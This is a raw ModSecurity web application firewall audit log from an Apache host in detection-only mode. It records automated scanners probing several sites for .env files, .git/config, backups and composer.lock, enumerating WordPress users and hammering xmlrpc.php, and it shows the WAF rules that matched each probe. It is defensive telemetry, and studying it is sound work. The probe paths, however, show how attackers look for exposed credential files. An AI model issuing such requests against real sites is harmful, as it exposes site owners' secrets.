max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=10a24343ff096a680a5783c8aae8a3701750012390; expires=Sun, 15 Jun 2025 19:33:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99808e52-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.git/config"] [unique_id "aE8R5Tsd7F70xyVs_qyGQwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012389971818 670499 (- - -) Stopwatch2: 1750012389971818 670499; combined=1661, p1=364, p2=1198, p3=0, p4=0, p5=98, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99808e52-Z-- --2489e22a-A-- [16/Jun/2025:00:03:18.621268 +0530] aE8R7S7MaF0j8lD2KTIPNgAAAAM 128.199.112.101 47952 127.0.0.1 7081 --2489e22a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2489e22a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2489e22a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8R7S7MaF0j8lD2KTIPNgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012397647430 973903 (- - -) Stopwatch2: 1750012397647430 973903; combined=2323, p1=364, p2=1596, p3=40, p4=63, p5=162, sr=99, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2489e22a-Z-- --9b37244d-A-- [16/Jun/2025:00:03:24.186513 +0530] aE8R86zY0BMZNmg1_r13MwAAAAc 185.177.72.210 56652 127.0.0.1 7081 --9b37244d-B-- GET /http/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b37244d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9e7fa2b88e7485cb6d8450fd56eab26d1750012404; expires=Sun, 15 Jun 2025 19:33:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b37244d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/http/.env"] [unique_id "aE8R86zY0BMZNmg1_r13MwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012403538730 647846 (- - -) Stopwatch2: 1750012403538730 647846; combined=1421, p1=298, p2=1036, p3=0, p4=0, p5=86, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b37244d-Z-- --b1946c1f-A-- [16/Jun/2025:00:03:29.475861 +0530] aE8R-GuCR1auBLUP7R-jrwAAAAg 185.177.72.210 57164 127.0.0.1 7081 --b1946c1f-B-- GET /path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b1946c1f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7f4474a2c1e1a7777502490accfd7a0c1750012409; expires=Sun, 15 Jun 2025 19:33:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b1946c1f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/path/.env"] [unique_id "aE8R-GuCR1auBLUP7R-jrwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012408804576 671357 (- - -) Stopwatch2: 1750012408804576 671357; combined=1954, p1=404, p2=1460, p3=0, p4=0, p5=90, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b1946c1f-Z-- --86d5434a-A-- [16/Jun/2025:00:03:36.690587 +0530] aE8SAGuCR1auBLUP7R-jtgAAAAg 85.95.241.18 50798 127.0.0.1 7080 --86d5434a-B-- GET /wp-json/wp/v2/users HTTP/1.0 Host: deckstory.com X-Real-IP: 85.95.241.18 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 --86d5434a-F-- HTTP/1.1 404 Not Found Content-Length: 259 Connection: close Content-Type: text/html; charset=iso-8859-1 --86d5434a-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||deckstory.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||deckstory.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "deckstory.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aE8SAGuCR1auBLUP7R-jtgAAAAg"] Stopwatch: 1750012416688260 2373 (- - -) Stopwatch2: 1750012416688260 2373; combined=1518, p1=310, p2=1117, p3=20, p4=27, p5=44, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --86d5434a-Z-- --e18bdb60-A-- [16/Jun/2025:00:03:36.771903 +0530] aE8SAKzY0BMZNmg1_r13PAAAAAc 185.177.72.210 44990 127.0.0.1 7081 --e18bdb60-B-- GET /composer.lock HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e18bdb60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=90afd7438a37af0f62b0c844686d5a8f1750012416; expires=Sun, 15 Jun 2025 19:33:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e18bdb60-H-- Message: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/composer.lock"] [unique_id "aE8SAKzY0BMZNmg1_r13PAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012416062281 709695 (- - -) Stopwatch2: 1750012416062281 709695; combined=1904, p1=352, p2=1464, p3=0, p4=0, p5=87, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e18bdb60-Z-- --76fe8638-A-- [16/Jun/2025:00:03:37.100191 +0530] aE8SAaSMmxZaGWa7XLL3KwAAAAY 85.95.241.18 50804 127.0.0.1 7080 --76fe8638-B-- GET /wp-json/wp/v2/users HTTP/1.0 Host: deckstory.com X-Real-IP: 85.95.241.18 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 --76fe8638-F-- HTTP/1.1 404 Not Found Content-Length: 259 Connection: close Content-Type: text/html; charset=iso-8859-1 --76fe8638-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||deckstory.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||deckstory.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "deckstory.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aE8SAaSMmxZaGWa7XLL3KwAAAAY"] Stopwatch: 1750012417097040 3215 (- - -) Stopwatch2: 1750012417097040 3215; combined=1978, p1=328, p2=1540, p3=26, p4=28, p5=56, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76fe8638-Z-- --21ee8b11-A-- [16/Jun/2025:00:03:42.802369 +0530] aE8SBmuCR1auBLUP7R-juwAAAAg 185.177.72.210 47612 127.0.0.1 7081 --21ee8b11-B-- GET /static_root/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21ee8b11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7472ef9859b9ab02332f4a33d1350d1d1750012422; expires=Sun, 15 Jun 2025 19:33:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21ee8b11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/static_root/.env"] [unique_id "aE8SBmuCR1auBLUP7R-juwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012422146658 655774 (- - -) Stopwatch2: 1750012422146658 655774; combined=2081, p1=491, p2=1495, p3=0, p4=0, p5=95, sr=127, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21ee8b11-Z-- --1c201c41-A-- [16/Jun/2025:00:03:43.834334 +0530] aE8SB67jjZllglTPVFaHzAAAAAk 185.177.72.210 47680 127.0.0.1 7081 --1c201c41-B-- GET /backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c201c41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a964843455c8c8227cab51b1d70798101750012423; expires=Sun, 15 Jun 2025 19:33:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c201c41-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env"] [unique_id "aE8SB67jjZllglTPVFaHzAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012423144523 689872 (- - -) Stopwatch2: 1750012423144523 689872; combined=1592, p1=346, p2=1152, p3=0, p4=0, p5=93, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c201c41-Z-- --d8c4005b-A-- [16/Jun/2025:00:04:19.142130 +0530] aE8SKq7jjZllglTPVFaH6AAAAAk 128.199.112.101 40224 127.0.0.1 7081 --d8c4005b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d8c4005b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d8c4005b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8SKq7jjZllglTPVFaH6AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012458071932 1070276 (- - -) Stopwatch2: 1750012458071932 1070276; combined=2369, p1=384, p2=1524, p3=54, p4=72, p5=209, sr=101, sw=126, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d8c4005b-Z-- --deced95b-A-- [16/Jun/2025:00:04:40.062723 +0530] aE8SP2uCR1auBLUP7R-j5QAAAAg 185.177.72.210 60404 127.0.0.1 7081 --deced95b-B-- GET /iisadmpwd/aexp2b.htr HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --deced95b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e609c5ba5a4f1ca05803c4b977a0b4ac1750012479; expires=Sun, 15 Jun 2025 19:34:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --deced95b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/iisadmpwd/aexp2b.htr"] [unique_id "aE8SP2uCR1auBLUP7R-j5QAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012479275393 787415 (- - -) Stopwatch2: 1750012479275393 787415; combined=1962, p1=326, p2=1522, p3=0, p4=0, p5=113, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --deced95b-Z-- --0006a003-A-- [16/Jun/2025:00:04:50.344061 +0530] aE8SSWuCR1auBLUP7R-j6wAAAAg 185.177.72.210 37904 127.0.0.1 7081 --0006a003-B-- GET /configurationtionura.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0006a003-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fd8efc0b64393eaad6ae2b388419d42a1750012490; expires=Sun, 15 Jun 2025 19:34:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0006a003-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configurationtionura.bak"] [unique_id "aE8SSWuCR1auBLUP7R-j6wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012489651056 693063 (- - -) Stopwatch2: 1750012489651056 693063; combined=1840, p1=344, p2=1431, p3=0, p4=0, p5=65, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0006a003-Z-- --313ec830-A-- [16/Jun/2025:00:04:51.412570 +0530] aE8SSkaE4AHnWcPpQgmdzgAAAAo 185.177.72.210 37950 127.0.0.1 7081 --313ec830-B-- GET /.pip.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --313ec830-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a85b54f4f974ada68ac3b6395e59dcdb1750012491; expires=Sun, 15 Jun 2025 19:34:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --313ec830-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pip.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pip.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.pip.conf"] [unique_id "aE8SSkaE4AHnWcPpQgmdzgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012490671654 740989 (- - -) Stopwatch2: 1750012490671654 740989; combined=1931, p1=324, p2=1507, p3=0, p4=0, p5=99, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --313ec830-Z-- --6b855353-A-- [16/Jun/2025:00:04:58.319742 +0530] aE8SUZ9la7T0lySWw7UA6AAAAAQ 185.177.72.210 38262 127.0.0.1 7081 --6b855353-B-- GET /:10000/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6b855353-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d2a27a95934ac3a57eb49c6711c2b0711750012498; expires=Sun, 15 Jun 2025 19:34:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6b855353-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.3"] [unique_id "aE8SUZ9la7T0lySWw7UA6AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 